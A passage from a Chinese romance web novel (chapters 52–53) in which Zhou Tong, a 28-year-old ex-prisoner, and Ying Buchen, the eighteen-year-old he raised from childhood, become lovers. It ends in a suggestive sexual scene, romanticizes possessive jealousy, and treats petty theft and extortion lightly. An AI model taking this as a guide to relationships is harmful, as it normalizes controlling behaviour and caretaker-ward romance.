周瞳楞了一下,也不知道说啥。
这些他都没在乎过说实话,憋屈就憋屈点呗,也不能死是咋的。
但是贸贸然被一提,就有点儿堵心,堵得发涨。
应不尘盯着周瞳的脸,给他擦嘴,擦完了,忍不住,又啄了一下,问,“瞳哥,你是我的吗?”
“废话呢。”周瞳瞟了他一眼,说,“我不是你的我谁的啊?”
“我从小耳濡目染,都说你特会哄人,”应不尘说,“我咋觉得咱两一块儿你总是叫我走走走起开起开,甜的一句也没有呢?”
周瞳侧起身来,说,“你要听甜的啊?”
“我不能听啊,”应不尘这葡萄都要剥烂了,劲儿都要淹死醋缸子了。“我少个耳朵啦?”
“过来。”周瞳看他好笑,勾勾手。
“干嘛。”应不尘在小凳子上坐正了。
“你这葡萄,”周瞳挑眉问,“你能在我嘴里把他籽剃了不能?”
葡萄自然没吃上,一句话把应不尘迷的气都不敢喘生怕他反悔,生生地就扑上来,跨在他身上,周瞳咬了他一口,黏黏糊糊地问,“葡萄呢?”
“要什么葡萄。”应不尘第一次跟他亲吻,周瞳抱紧了他,他捧着他的脸,可劲儿地尝着周瞳唇齿的味道,他又似醒神了,看着周瞳的嘴唇发愣,瘪了瘪嘴,亲吻额头的时候,周瞳感觉他的眼泪又掉下来了。
驱赶他的话在他嘴边又咽下去了,周瞳揽着他的腰,摩挲他的脊背,出神地亲吻他的眼泪。
“干啥呀,”周瞳揉着他的狗毛,“该睡觉了。”
“我就这样坐着睡。”应不尘闷在他胸口。
“毛病。”周瞳说,“好好睡。”
“他们没骗人。”应不尘说。
“谁没骗人啊。”周瞳问。
“你就是很会哄人,”应不尘闷在他胸口,“你一句话哄得我觉得星星都掉下来了。”
52. 十年一日
周瞳把修理铺子的门一拉,新的一天就要开始了。
昨天跟应不尘折腾坏了,腰都酸得不行,果然是老了。
算了算,自己也才二十八,不应该啊。
二十八,也没有很老吧?
周瞳对着镜子瞧,还是跟年轻的时候差不多啊,扎那个小辫儿有那么骚吗?
周瞳的刘海有点长了,拢在边上,又抓了抓头发,扎不上小辫。
周瞳摸着自己的嘴唇,想起昨儿应不尘的眼神,忍不住嘴角都往上咧了。
从前在歌舞厅的时候,女孩儿的眼睛男孩儿的眼睛水汪汪的,看着动人,但是从来没有一双眼睛是他想找的眼睛。
从前总是觉得男人么,就得让人家依靠,就得闹出个名堂,现在竟然能有一个人,他为你打算着所有东西,把每一句话都放在心上。
从前觉得自己搞成这个逼样的,连自己都嫌磕碜,但是那个人说,我看你像看星星,说得周瞳的心都软成了一摊跳动的肉。
周瞳也不想挣大钱了也不想送他出国了,他实在再也舍不得把应不尘一个人留在某处了。读到他不要读为止,也陪到他不要了为止。
这么一想,周瞳神奇地发现这破地儿都顺眼了。
周瞳还在修电脑,这东西的图纸有点复杂,有几个配件要买。
拎着东西路过应不尘的学校,看见学校外面的荣誉榜,上面有应不尘的照片,他脸冷冰冰的,跟谁欠他钱似的。
周瞳看了一眼,优秀学生,全科竞赛,这照片下面得写座右铭。
别人的座右铭都是什么学海无涯呀,以梦为帆啊,砥砺前行啊,应不尘的座右铭周瞳看了好几下,莫不是印错了。
他写的座右铭是:做你的眼睛。
周瞳再回去看应不尘那冷冰冰的照片,摸了摸,勾了下嘴角。
周瞳本来人家一说他劳改这那的多少还是有点难受,人家不待见他那些是个人都顶不住。但是今天周瞳插着个兜,往前溜达,忽然觉得没啥了。
他觉得劳改挺好呢。这辈子要是能被这么个人这样热烈的爱上一回,还有啥过不去的。周瞳最后的守备全散了,一颗心让应不尘塞得满满当当。
虽说这人毛病也多,先不说他这腻歪劲儿,也不知道哪学的乱七八糟的哄人的话,但是周瞳可太吃这一套了。
他像小狗似的瞧着你,踩在你的脚上晃啊晃。
周瞳觉得自己得学做饭,总不能俩人老吃快餐,折回去就要买菜。
这里菜市场的人看见他像瘟神似的,周瞳就选菜,低声对面前的老板说,“我可是劳改犯,你不卖给我,我晚上就给你点好东西看看。”
老板说,“我也没说,不卖呀...”
“我误会了。”周瞳挂了个笑脸,说,“不好意思啊。”
选了一个大白菜,一个土豆,一个番茄,这玩意儿周瞳也买不明白,他吃饭不挑嘴,但是也不会做饭。
再来一斤排骨吧。
“要一斤排骨。”周瞳说着就从兜里掏钱。
“10块钱一斤。”老板说。
“这么贵吗?”周瞳问,“人家买不是8块?”
“你买就十块。”屠夫说,“爱买不买。”
“啊,欺负人是吧?”周瞳插着兜。
“你买就十块。”屠夫磨磨刀。
“好吧。”周瞳说,“你给我弄两根。”
屠夫本来以为他不买了,结果现在这样他就切了两根。
周瞳拎起来瞧瞧,说,“剁了呗。”
屠夫给剁好了,一手交钱一手交货。
周瞳摸摸兜,说,“呀,没带钱,实在不好意思,我晚点来买。”
屠夫生气,周瞳低头点烟,一扬手臂,“快报警吧。”
周瞳插着兜溜达回家,路上想着那会儿应不尘找不着他,报警给他抓了就想笑,这个人真的没个好,心思自己也没干啥呢,结果乌泱泱来了三四个警察,最后他们后面钻出个应不尘。
登完记的时候,应不尘还给他们鞠躬,说,“我们做家属的感谢你们,不会让他危害社会。”
周瞳心里当时真把狗都日了。
周瞳掏钥匙回家,奈何实在不会弄饭,排骨炒一炒吧,这个番茄也扔进去,大白菜要不要扔进去?咋切啊这个,人家炒的咋是一个一个叶一个叶的,真烦人,周瞳一扔东西,不想做了。
过了一会儿想想还是要做的,狗崽子中午回来休息,还要给自己做饭这算啥。
十一点刚过的时候,周瞳就忍不住往楼下瞟了好几眼,有点楼梯里的动静都觉得是应不尘回来了。
周瞳想给他发给信息问问几点回来,又觉得他现在读书压力大,这点事儿能回来吃就吃,不能回来就不回来呗。
周瞳在厨房里弄了半天,一点也不好吃,照着应不尘做的都不成。锅铲一扔,真服了。
周瞳又在窗户看了好几次,这会儿的指针才到十一点半不到。
等一个人,怎么就这么漫长呢?
周瞳吸了吸鼻子,点了根烟,拉了个椅子坐在窗户边抽烟,他的手指在窗台上一点一点地,他把下巴也搁在上面,像应不尘小时候一样。
从1992年到2002年。
十年的每一天,都在等他回家。
周瞳揉了揉眼睛,瘫在沙发上看电视,不能再等了,咱得有自己的生活过,总不能啥都指望在他身上,那样他多累,万一这日子他不想过了,叫他怎么弄才好。
周瞳打算去自己的店铺,捣鼓破电脑去,把这东西弄明白。
刚开门,就见到了哒哒哒的急促的上楼声,接着还没看清楚呢,就一个人儿扑在他身上,“你等我呢?”他仰起头问。
“没等啊,”周瞳说,“打算去店里坐一会儿。”
“你骗人。”应不尘指着屋里,“你的凳子拉那儿去了。”
“我坐那抽烟不行?”周瞳摸摸鼻子说。
“骗我吧,”应不尘说,“你一骗人就摸鼻子。”
“我啥你都知道,”周瞳掐着他的后脖颈,笑说,“你咋这么厉害呢。”
“你做的?”应不尘指着厨房的不明污染物。
“啊。”周瞳说,“弄不明白,死费劲的。”
“给我吃的?”应不尘边问边往周瞳边上走,抱着他的腰,踩在他脚上摇,晃到墙壁了,都贴上了,看着周瞳的眼睛左右乱瞟,一个劲盯着看,笑嘻嘻地说,“瞳哥,你为啥不看我,我不好看吗?”
“好看就天天看啊?”周瞳说。
“你看我。”应不尘把他的腰抱得更紧了,黏黏糊糊的,“我要你抱我,要你看我。”
“你事儿咋那么多呢。”周瞳说是这么说,又端着他屁股抱起来,说,“这么瘦,不知道咋养的。”
“你今天去学校看我了?”应不尘问。
“你小子,”周瞳想把他放下来,他就这么挂身上不肯下来,“我干啥你都知道,我都觉得你一天都没读书,心思净是用在别地方。”
“这儿有三家电脑配件店,”应不尘圈着他的脖子,“你买的这家的,远点儿,在我学校边上,而且店面小,配件也少,你还过去了。”
周瞳一看沙发上的袋子,印着店名跟地址呢。
周瞳被戳穿了心思,有点不好意思,又说,“我路过不行?”
“不行。”应不尘说,“看了不来看我?”
“有啥看得呀。你中午就回来了,还耽误你上课。”周瞳说。
“瞳哥,”应不尘蹭着他的脖颈,鼻尖来回地磨,“我马上放暑假了。你带我去玩呗。”
“人家都补课。”周瞳说,“玩啥呀,一脑子想着玩呢,你那个同学,戴眼镜的那个,人家成绩都比你好,还玩呢。”
“你咋知道我的同学?”应不尘歪着头,问,“你上哪知道我同学?”
“我给人家修东西了。”周瞳说。
“瞎说,他家又不在这头,”应不尘说,“你看我学校的荣誉榜了?”
“随便看看。”周瞳真服了,这嘴咋跟个漏勺似的。
“那次不行,我缺考了一门课,周六早上那门我总不考,我上宜华等你去了,”应不尘说,“你过一段等我期末考了,你再去看呗,你念念稿,我们那第一名的得上去传授教育经验,行吧?”
“嫌我成绩不好?”应不尘说,“你太有意思了。”
“啥?”周瞳说,“我哪会念那个啊?”
“哦,那你意思我这次还缺考呗。”应不尘问。
“谁让你缺考了,”周瞳说,“你别闹人行不行,我真不会那个。”
“不应该啊,”应不尘说,“当年公司开业的时候不就是你上去讲话的了?”
“那是我公司啊,我不上去你上去啊?”周瞳说,“你那个别闹,我不会,我当不明白家长,我自己读书读的那是个啥啊。”
“也是,”应不尘说,“人家叫家长骂孩子早恋,你就在家里跟孩子早恋。”
“行啊,”周瞳挑眉说,“那我不跟我孩子早恋呗。”
“不行。”应不尘整个人趴在周瞳身上,“我还跟你恋一辈子呢。”
“一辈子老长了。”周瞳说,“你晓得一辈子有多长啊?”
“我不知道一辈子。”应不尘说,“但是我知道你。”
“你知道我啥?”周瞳问。
“我知道你,我只要能站在这个位置,只要我能跟你在一起,你这辈子再也不会离开我。”应不尘说,“你这个人就这样。”
“瞎说八道的。”周瞳说,“我自己我都不知道,你知道?”
“嗯。”应不尘说,“我比你还了解你。”
“真能扯,”周瞳说,“饿了,去吃啥?家里的也不能吃了。”
“我回来的时候试卷落了,我得去拿一下,”应不尘说,“学校门口吃一口得了。”
“走呗。”周瞳撂了件衣服就二人一起出去。
应不尘进学校拿试卷,周瞳看他八百米似的跑进去八百米似的跑出来,气喘吁吁的。
“急啥呀?”周瞳问。
“我就怕我一出去你又不见了。”应不尘说,“心里慌的很。”
“慌什么,”周瞳说插着兜说,“你不是说特了解我吗?了解还慌?”
“我觉得你这人特别扭,”应不尘说,“你别扭得有时候太不讲究。”
“怎么讲?”周瞳问。
“我说不清楚,”应不尘说,“反正你比以前胆小了,以前我觉着你天不怕地不怕的。”
“拐着弯的说我懦夫呢?”周瞳问。
“从前你来我们学校,你跟个孔雀似的溜达,现在路过了也不来看我,”应不尘说,“我搞不明白。”
“那你不是大了么,”周瞳说,“而且我特么的,我这个身份是吧,我这个,多少还是得自己注意点儿。”
“你啥身份?”应不尘说,“你啥身份了,从前我小的时候,咱没有钱,我交了学费没有课本费,不好意思跟你跟汪奶奶说,我想跟同学合着看一本,同桌也不给我看,闹到你那儿去了,你跟我说,我会心疼人这很好,但是不是自己的挑子别往上撂,你说都得人穷志短,但是别看轻自己。”
“你现在就是在看轻你自己。”应不尘说,“我早发现了,你自己说的话,你自己都忘了。”
“我那是穷横。”周瞳说,“那教孩子吗,那咋整。”
“那就我再教回去,”应不尘说,“你当孩子,我重新再带你走一遭。”
周瞳说,“我教的孩子。”
“这么好呢?”
周瞳说不上来有什么东西涌到嗓子口了,糊得他不想继续这个话题。
“这你学校,有啥吃的。”周瞳问。
应不尘指着对面一家,说,“炒饭,你吃不?”
“吃呗。”周瞳跟应不尘坐下了。
应不尘看了一会儿,说,“俩牛肉炒饭。”
老板笑着说,“今天你不吃最便宜的啦?你这孩子,家里这么有钱,还这么节俭,我家孩子真是跟你没法比。
应不尘说,“我不是节俭,我是抠。”
周瞳擦着筷子,说,“你抠得都驰名了吗?”
“攒起来,都给你。”应不尘擦着桌子说。
“前两天,你爸还来我这儿等你呢,”老板开大火炒着。
“噢,不用理他。”应不尘说。
“他找你还有啥事儿?”周瞳问。
“谁知道他,”应不尘说,“别理他。”
炒饭上来了,周瞳反正也吃不出咸淡,说,“你这次大会开完就考试了,考试了就放假了是不。”
“嗯。”应不尘说,“带我上哪儿玩去。”
“你考得好出去玩,考不好读书去,”周瞳嚼着饭说,“你上回不是跟我说你学校里考第八还是几来着么。”
“这学校本科上线率一般,比这好的还有三个学校,这个学校录取分数不太高,我缺考一门才是第八。”应不尘说,“我先买的房子,再定的学校。”
“为啥不买好学校边上的啊?”周瞳问。
“那边过去车站太远了,耽误我时间。”应不尘说,“我有正事儿呢。”
“我问你个问题啊,”周瞳停了筷子,说,“你咋读的书啊?我都闹不明白,小时候好像也就那么回事吧。”
“不知道,”应不尘低着头吃饭,说,“汪奶走前
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跟我说了,只有读书是我的出路,不管是你还是我,都得我读出去,走出去,咱两才能不一样。”
“读不死,就往死读呗。”应不尘抬起头,“不然,我拿啥跟你说我要当个男人?拿不要脸啊?”
应不尘掰着手指算,“我呢,汪奶走的时候给咱两留了一笔,当年汪奶迁坟了,我在他们户口本上,那个白房先生帮忙,又给了我一笔,然后你在宜华那屋里,给我留了点,你进去之后,黄师傅找了战友重新谈了面粉厂工人的账,抠了一笔出来给我,出来这里,我又敲李泥鳅竹杠,最开始一个月敲五百,到最后一个月敲两千,除了买的房子小车,给你的存折只是房租,我还有一笔。”
“你要死,”周瞳不可置信地说,“你这么有钱?”
“财迷。”应不尘说,“那本存折留着呢,你万一想干点啥弄点啥的,应该也够。”
“我用不上钱,就学费呗,”应不尘吃光了最后一口,说,“我说了,我不想你再为钱发愁。”
“还有,”应不尘擦擦嘴,说,“你乐意买衣服买呗,现在穿的咋这么实惠。”
“我这是咋了嘛?”周瞳看看自己的衣服,说,“不是挺好。”
应不尘驼着背,说,“从前那臭美的劲儿呢。”
“我都多大年纪了,我还臭美。”周瞳说,“快三十了好不?”
“那咋了。”应不尘说,“买去。”
周瞳说,“你说我干啥,你自己天天就穿这个,你咋不心思自己买呢?”
“我青春,我十八,”应不尘说,“我穿啥都好看,年纪在这里摆着呢。”
“行行行,你青春,”周瞳给了钱,两人往外走,“我看你干的事儿,压根不像十八的。我十八的时候我还给人洗头呢。”
“你十七洗的头,”应不尘说,“十八都进面粉厂了,十九跑大车,二十开的公司了。”
“你记性好,我不太成。”周瞳说,“记不清楚了,太远了。”
“我记得就行了。”应不尘伸手。
周瞳拉住了他,“腻歪劲儿吧,大老爷们哪有这样的。”
“我就这样。”应不尘说,“别人多看你一眼都不成。”
“别稀罕了,”周瞳说,“白给别人都不要。”
“我不乐意听你这么说,”应不尘说,“我在学校门口刚跟你说完,你以后别说了。”
周瞳看他的脸,“咋又生气了祖宗。”
应不尘扣着他的手指,说,“累,想回去洗澡。”
“背你走呗。”周瞳说,“上来。”
周瞳背着应不尘走,“你那会儿,去野炊,回来就睡着了,那会儿你还小,我背着你也不重。”
“嗯。”应不尘圈着周瞳的脖子,闭着眼睛听他说。
“我想听你说进去的事情。”应不尘说,“那段我是空的。”
“我刚进去的时候烦死了,你不是说我没骨头么,我进去就这坐啊站的,就叫人训歪了,吃东西倒是还好,反正没盐味,睡觉不关灯真是要命,我老昼夜颠倒的,睡也睡不着。”周瞳慢慢说。
“你睡不着,想什么?”应不尘问。
“想你呗,想谁。”周瞳说,“我就想走前没给你养个小狗陪着你,那会儿我弄死了你一只脏兮兮的小鸡,你哭惨了。”
“你在里面知道我喜欢你吗?”应不尘问。
“这我哪里知道。”周瞳说,“你出来劈头盖脸的给我整得被雷轰了一样。”
“那你现在喜欢我吗?”应不尘在他耳边问。
“最开始真是要命了,”周瞳说,“煎熬,舍不得你,甩不开你,不知道咋办。”
“日子不好过的时候总会,”周瞳看了边上的应不尘一眼,“心思多,憋的难受,觉得全世界都欠我,感觉我啥也没干呢,我怎么就弄成这样,跟特么做梦似的。”
“那你现在喜欢我吗?”应不尘又问。
“我觉得这事儿很复杂,”周瞳说,“但是没办法。”
“什么没办法?”应不尘问。
“我拿你没办法,我拿我自己也没办法。”周瞳说,“想不通的那些事突然就通了,你给我拿那杯子的时候,我就想起来那会儿公司要起名的时候,本来乱七八糟起了一堆让我挑的,我自己想的那一个。”
“那会儿我还想呢,过个六七八年光景的时候,咱两还能不能同程,我当时觉得没啥问题,你要跟我享福了。”周瞳说,“结果过了六七八年,我跟你的同程换路数了。”
“你的瞳哥呢,估计就这样了,”周瞳说,“但是我也没悔过,当老板也没啥好的,我那会儿当上了才愁死了,我出来的时候就想,有点钱,买车子买房子,现在人都有那些,我有了我就知足了。但是我出来齐活了,你说招不招笑。”
“你会觉得没出息吗?”周瞳问。
“我巴不得你当个废物,让我养你十年。”应不尘说,“你还是没回答我,你现在喜欢我吗?”
“不太一样。”周瞳说,“上音乐课也能喜欢。”
周瞳说,“人家不都说爱谁了要送玫瑰花么,玫瑰花的花不是一瓣一瓣的,才能组成一个玫瑰花,我对你就这样,乱七八糟的什么都有。气得牙痒也有,疼得心碎也有,盼你去飞也有,拽在身边也有。”
“从前总觉得白活了十年。”周瞳说,“现在觉得每一步都算数。能明白吗?”
应不尘说,“我就问你喜不喜欢我,你就绕圈。”
“绕着圈就听不出来喜欢了?”周瞳问,“不是说你的脑子灵光的发邪吗?”
“你净会哄人。”应不尘说,“我要下来自己走。”
“你看,不哄吧说自己少个耳朵,哄吧又说我净会哄人,”周瞳吧他放下来,说,“你到底想听啥呢?”
“我就要听你每天叫我宝贝,”应不尘说,“你好久都没叫过了。”
“宝...我就不叫,嘿。”周瞳一笑,应不尘就楞楞地盯着他看。
“看啥。”周瞳叼了根牙签,插着兜看他。
“瞳哥,我想有钱,很多钱,别人都觉得我厉害,都敬着我,但是我只把你捧在我手心里。”应不尘说,“可是我不知道,那样的光景还要多少年。”
“急啥。”周瞳说,“你还小呢。”
“可是你大了,东西给晚了,就不是那样的了。”应不尘说,“年纪不会等我。”
“想的真多,”周瞳说,“我觉得,现在这样就挺好。”
“不好,”应不尘说,“不然我跟自己过不去。”
周瞳在小卖部买了两个玻璃瓶的汽水,递给应不尘一个,碰杯的时候,碰着应不尘的瓶底,说,“那提前祝你,年少有为,美梦成真,行不行?”
53. 情侣日常
暑假就这么来了。
本来应不尘想出去玩,但是天实在太热了。
周瞳给他找了补习班去上,省的天天在家跟个猴子一样挂在身上。
应不尘对此很不爽,但是又没办法。
治了一顿就好了。
周瞳一扯皮带,他就骨头软了。
知了放肆地狂叫,路上都没什么人。
李泥鳅找上了周瞳。
“找我啥事,说。”周瞳捣鼓着家电,他最近在修电脑,算是这第一批能修明白这东西的。
“他敲了我不少竹杠,你知道吧?”李泥鳅穿着个花衬衫,蹲在周瞳的店门口抽烟。
除了钱,没有别的什么事儿。
“咋了。”周瞳自己忙自己的,说,“我觉得他敲少了,心思再找你要一笔呢,你还找上门来了。”
李泥鳅说,“甭特么给我装,要是不给钱,我现在啥也没有,我弄他去。”
“你弄呗。”周瞳说,“我天天跟着他,我就在他边上,我怕你弄?”
周瞳一扯李泥鳅的衣服,往他脸上淬了一口痰,笑嘻嘻地说,“你当我跟你吃素啊?咱两谁光脚你分不清?”
李泥鳅之前虽说也是跟混子混在一块儿的,但是周瞳那劲儿属实有点怵人,他那只瞎了的眼睛像死人的眼睛,盯着你的时候阴嗖嗖的。
“滚。”周瞳一把甩开他,“我还指着他挣钱呢,你还想来我碗里扒拉两口,穷疯了你是。”
应不尘站在远处这会儿跑了过来,周瞳拍拍李泥鳅的衣服,李泥鳅没占到便宜,他俩人李泥鳅就自己,他就走了。
应不尘刚刚听见了,周瞳说还指着他挣钱呢。
周瞳有点尴尬,说,“那什么,我不是那意思,只能那么说,人为财死的那种决心才...”
“我高兴。”应不尘抱着周瞳。
“你高兴啥呀?我都那么说你了。”周瞳摸着他的狗毛。
“我又不是听不出啥意思,”应不尘说,“你指着我了,我高兴。”
“我也没指望你,那啥呀...”周瞳说,“说的我跟为了钱似的。”
“你为不为钱,”应不尘说,“没人比我更知道了。”
“李泥鳅那个活动中心散架了,”周瞳说,“你知道吧?”
“知道啊。”应不尘说,“活该他。”
“回头我送你上学下学,好不好?”周瞳问。
“真的?”应不尘的眼睛亮晶晶的。
“那我不是指着你挣钱呢么。”周瞳说,“有什么办法。”
“你再这样说自己,我要生气了。”应不尘说。
“要是你生一次气能下一个蛋,我都要发财了。”周瞳说。
“你刚刚骂李泥鳅,”应不尘说,“凶巴巴的。好看。”
“你啥你都好看,”周瞳按着他脑袋晃,“我去要饭我也好看,傻子。”
应不尘坐在周瞳的躺椅上,闭着眼睛,说,“我小时候,有一回,那会儿咱两还住鸡棚呢,我们班上有个小孩儿诬赖我偷他的钱,他那个妈就来找你,看咱住这种地方,就扯着嗓子骂我骂你,你问我,偷没偷,我说没偷,他就去沙龙那个老板那里闹,说我是小偷,闹得老难看了。”
“那会儿老板都说赔了算了,然后你掏了两块钱出来,那会儿两块钱特别值钱,我以为你听老板的要赔礼道歉了,结果你把那两块钱烧了,你说,这两块钱咱家也有,烧了给不给她,臭娘们去吃屎吧,诬赖我们家小孩儿,也不看看你家小孩儿满嘴谎话什么玩意儿。”
应不尘闭着眼睛说,“我真的要吓死了,我还怕你信了,还怕你道歉,那女的太凶了,连老板都再说耽误生意了。
“我就记着你的样子,”应不尘说,“凶巴巴的,站在我前面,我可能是看多了你对别人好声好气讨生活的样子,猛地来一下,记了好久。”
“我都忘了。”周瞳说。
“你买的东西乱七八糟都乱扔,你能记得啥。”应不尘说。
“你这么一说,我倒是想起一回事。”周瞳说,“那会儿你还小呢,晚上我回来面粉厂住,半路上叫一个谁来着叫走去修什么东西,然后人家就说太晚了,我也喝了点酒,头疼得很,她家锁不知道咋回事就别着了,拉好几下我拉不开,我心思那睡沙发呗,外面也下雨,你应该也睡了。”
“然后我一睁眼好家伙你就蹲在我边上,门卫那头说我回来了,没出去了。大晚上然后你就挨家挨户的敲门,哭唧唧地问你哥是不是在这,全厂都知道我住那个女的家里了。”
“你这你弄得,”周瞳说,“哪有人跟你这样办事的。”
“我忘了。”应不尘说,“我有这么缺心眼坏你好事吗?”
“你还没有呢?”周瞳说。
应不尘抵在他额头上,“怪我坏你好事啦?”
“我可没,”周瞳又去捣鼓电脑了,说,“你别整那捻酸劲儿。”
“我坏你好事的次数多吗?” 应不尘问。
“咋没,”周瞳说,“那会儿咱弄那个公司来着,公司办公室边上我不是有个床,那会儿有个小姑娘说头晕的不行,想在我床上躺一会儿,你干啥啦你不知道?”
“我太小了,我记不清。”应不尘说。
“你那会儿早不尿床了,就不让人家睡,我骂了你两句,你在那床上尿了一泡。”周瞳说,“我真服了都。”
“怎么着瞳哥,”应不尘说。“气坏了?”
“我气啥呀,”周瞳说,“我觉着我骂你有点儿骂过了,你才那样呗。而且你那尿有点黄,人家说得多喝水,你又不爱喝,我上省城给你买了个一打开就会发光的杯子,一天也不知道掰几回,两天没到就坏了。”
“瞳哥,”应不尘说,“我要回家,我饿。”
“你少来,”周瞳说,“你眼珠子一转我就知道你又要跟个猴子一样挂我身上。”
“真饿。”应不尘揪着周瞳衣服说,“中午饭没吃饱。”
“真饿了?”周瞳洗洗手,说,“那走呗。”就拉上卷帘门。
二人买了个西瓜就往家里走,应不尘之前拿着勺子说再也不让周瞳进了,虽然他自己也没好到哪里去。
周瞳拎这个玻璃瓶的汽水喝,说,“这天真是越来越热了。”
“热过这阵就凉快了,但是一凉快我就要开学了。”
“就一年了,好好上呗。”周瞳说,“西瓜给我拎,压你个子了一会儿。”
“我拎,”应不尘说,“你喝汽水就行。”
“行行行,”周瞳说,“我享福就行了。”
“对面那俩同学,”应不尘说,“我们学校的,谈恋爱呢。”
“啊,你们学校里面的同学是吧,诶,你在学校没女同学给你送情书啊?”周瞳撞了他一下,说,“我的事儿你都听完了,你的事儿呢。”
“我咋没有。”应不尘说,“你瞧我这脸长得,跟是缺情书的样吗?”
“哟哟哟,”周瞳说,“那会儿我也没消息,你不想着谈一个试试?”
“我跟你可不一样,”应不尘说,“洁身自好。”
“我咋不洁了,”周瞳说,“你净能扯。”
“天天去上音乐课,”应不尘说,“那里头的事儿,谁知道呢,你一辈子不说,我一辈子不知道。”
“找茬是吧?”周瞳说,“喝你的汽水。”
周瞳匆匆往前走,回头问,“那你咋就觉得,我肯定会跟你在一块啊?在学校你也那么说。”
“没有什么是不能属于我的,”应不尘说,“死缠烂打,你总会被我追上的。”
周瞳在街角眯着眼点了根烟,说,“那我要是要去结婚生孩子呢?在你还小的时候?”
“你定不下来。”应不尘说,“只有我才行。”
“你哪来的自信啊?”周瞳吐了口眼圈,低着头开锁。
应不尘推门进去,扭头说,“你给的。”
周瞳歪在沙发上吃西瓜,应不尘哼哧哼哧的在炒菜,探出头说,“瞳哥,你先洗澡也行,进去吹空调,这么热,别在外面了。你要看电视,把电视挪进去。”
“你不更热?”周瞳说。
行了,菜也不炒了,就往人上扑,啵唧亲了一口,圈着脖子问,“你在这儿陪我呢?”
“诶诶,”周瞳说,“一身汗扑啥呀,赶紧给那菜弄完,进去吃饭去。”
“我不。”应不尘挂在他身上,“我动不了了,菜都好了。”
周瞳只能端着他的屁股抱着去盛菜。
“小时候也这样,”应不尘说,“你一手抱着我,一手把米粥弄出来。”
“你那样的时候不多,”周瞳说,“我有时候回来太晚了,家里没人你在被子里抹眼泪的时候要这样抱着。”
“现在也要抱着。”应不尘说。
“那我得来回弄呢,”周瞳说,“听话,下来。”
“我回头再长高,就不能这样抱着了。”应不尘蹭着,“多抱抱才好。”
“那你长,你长得比挖掘机还高,你长三米,你给房顶掀了,你一手端着我一手盛菜,行不?”周瞳说。
“那你亲一口我下来。”应不尘说。
周瞳亲了一下他的脸蛋,软软地说,“宝贝儿,下来了。”
应不尘的脸歘一下就红了,歪着头看周瞳,又一骨碌抱住了,“咋还耍赖呢?”周瞳也不管他了,菜跟饭多走两趟就是了。
“吃饭你总得下来吧?”周瞳说。
“我不想吃饭了。”应不尘说。
“又作啥妖,我年纪大了,作不动。”周瞳夹了一筷子菜给应不尘吃,说,“老骨头要吃饭的。”
“骨头老吗?”应不尘去拉他的手,“我看看。”
“我跟你说啊,我这手,就在号子里的时候最好看,最开始的时候...”周瞳还在说话,就感觉凉丝丝的东西,周瞳一看,食指上套上了一个粗银环。
“这也不是戒指啊?”周瞳转过来看看,“这不就是闲着带着玩的吗?”
“你想让我送你戒指?”应不尘抬起头,眼睛瞬间亮了,“送,送,送,我现在就去买。”
“诶!”周瞳抓住了他的后脖颈,说,“急急,急啥呀。”
周瞳一结巴,应不尘就上劲儿了,“我就是路过看着好看给你买了,”应不尘赶紧去脱他的戒指,说,“换,换换换,不要这个。”
“诶,”周瞳说,“我带着玩呗。”
“行,”应不尘抱着腿傻乐,说,“那我明天就去买,今天估计关门了。”
“不急,”周瞳看着手上的银环,问,“我带这好看不。”
“好看。”应不尘说,“但是没有那种戒指好看。”
“你那个你先别买,”周瞳摩挲着手上的戒指,“你上学也不能带。”
“你要跟我带对戒啊?”应不尘的眼睛刚亮了一阵又亮了,拉着周瞳的手,“不行我就要带,我明天就要带,我现在就要带。”
“你这个人咋,咋这么猴急的呢,”周瞳说,“那个咱就找时间去挑挑,我跟你一起,行吗?你别自己买了。”
“你要给我送?”应不尘又凑过来,“啥时候啊?”
“你再这样没有了。”周瞳说,“吃饭。”
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应不尘立马去拿筷子,说,“我也没急呀。”
“嗯。”周瞳笑得眼尾都炸了两条褶子,嗯了一声夹菜,“我急。”
“瞳哥,”应不尘去摸周瞳的眼角,“你笑起来有纹了。”
“是啊,”周瞳自己吃完了,就给坐在边上的应不尘拿了个勺子喂饭,“我都老了,怎么办呢?”
“再吃一口,”周瞳重新挖米饭,“你像我这么大的时候,我都四十了。这一听,是不是就吓人了?”
“没觉得。”应不尘嚼着饭说,“过多少年我都觉着你好。”
周瞳夹了一筷子菜塞他嘴里,说,“吃饭都闭不上你的嘴。碎嘴子。”
“我吃那个。”应不尘指着菜啊了一声。
周瞳把他整个人端上来搁自己腿上,“墨迹劲儿今天吃不完饭。”
应不尘赖在他身上闭着眼睛等他喂饭,吃完了就张着个嘴,这个是土豆,这个是排骨,这个是米饭。
这个是...瞳哥。
每次都是应不尘主动,主动讨吻主动讨抱,但是这次周瞳亲吻着他,含糊不清的问,“猴爪子断了?”
应不尘又圈上了他,微微挺起背,整个人又挂上了,周瞳的手在他的后脖颈,一寸寸往上挪,沿着下颌就让应不尘轻声地喘息,周瞳的那个带着戒圈的手指搓着应不尘的脸颊,拇指就滑进了口腔,应不尘轻轻地咬了一口,舌尖刚触碰他他就微微颤栗,舌尖在他的手指游离,挑逗,索取,看着他发涨的耳朵,应不尘在他耳边撺掇。
“你要不要我?”
没人说话,只有亲吻。
周瞳的掐着他的脸用力将脖颈仰得更高,手掌在他的后背游离,周瞳亲吻着他的脖颈,少年的皮肤白皙香软,咬了一口就听见应不尘发出闷声的哼,抓紧了周瞳的衣角。
周瞳又在他的脖颈咬了一口,抓着他的手腕就去按在自己的腰下。应不尘颤栗的余韵里仰着头看着他,他扯着周瞳的项链将他拉下泥潭,星星会坠落山海,吞吐间都是烈火燎原。
应不尘不想再让他想起那场大火,不想再让他想起雪夜的团年,不允许他想那个黝黑的西北姑娘,不允许他想任何与应不尘无关的一切。
应不尘要他口渴,要他无助,要他野蛮,要他狠狠地将自己揉碎了还要安抚。
应不尘的眼睛里开始长出牙齿,光用眼睛就想把他的周瞳吞下去。他看着周瞳仰起的下巴,看见他抓皱的床单,一布相隔的时候心里升起一股爆炸的嫉妒,嫉妒每个在这里嗅闻过味道的人,嫉妒每一个跟周瞳交耳过听他沙哑的喘息的人,这种嫉妒让应不尘像小时候周瞳买给他吃过的顶贵的雪糕,别人都只能看着他用舌头把雪糕一点点的舔掉,通通藏进肚子里。
以前周瞳问过他,要当亲生兄弟好不好。
不好。
应不尘此刻有了答案,如果是亲生的根本不能跪在这里将心都填满了。
夜了。
应不尘翻身过来抱着周瞳,周瞳睡相不好,翻来翻去,有时候一个人还睡得要横着,最开始的时候应不尘晚上每次睡觉都很小心,后来习惯了。
应不尘把周瞳的脑袋捞起来放在自己的胳膊上,应不尘伸了伸脚,还是没有周瞳高,差了一节。
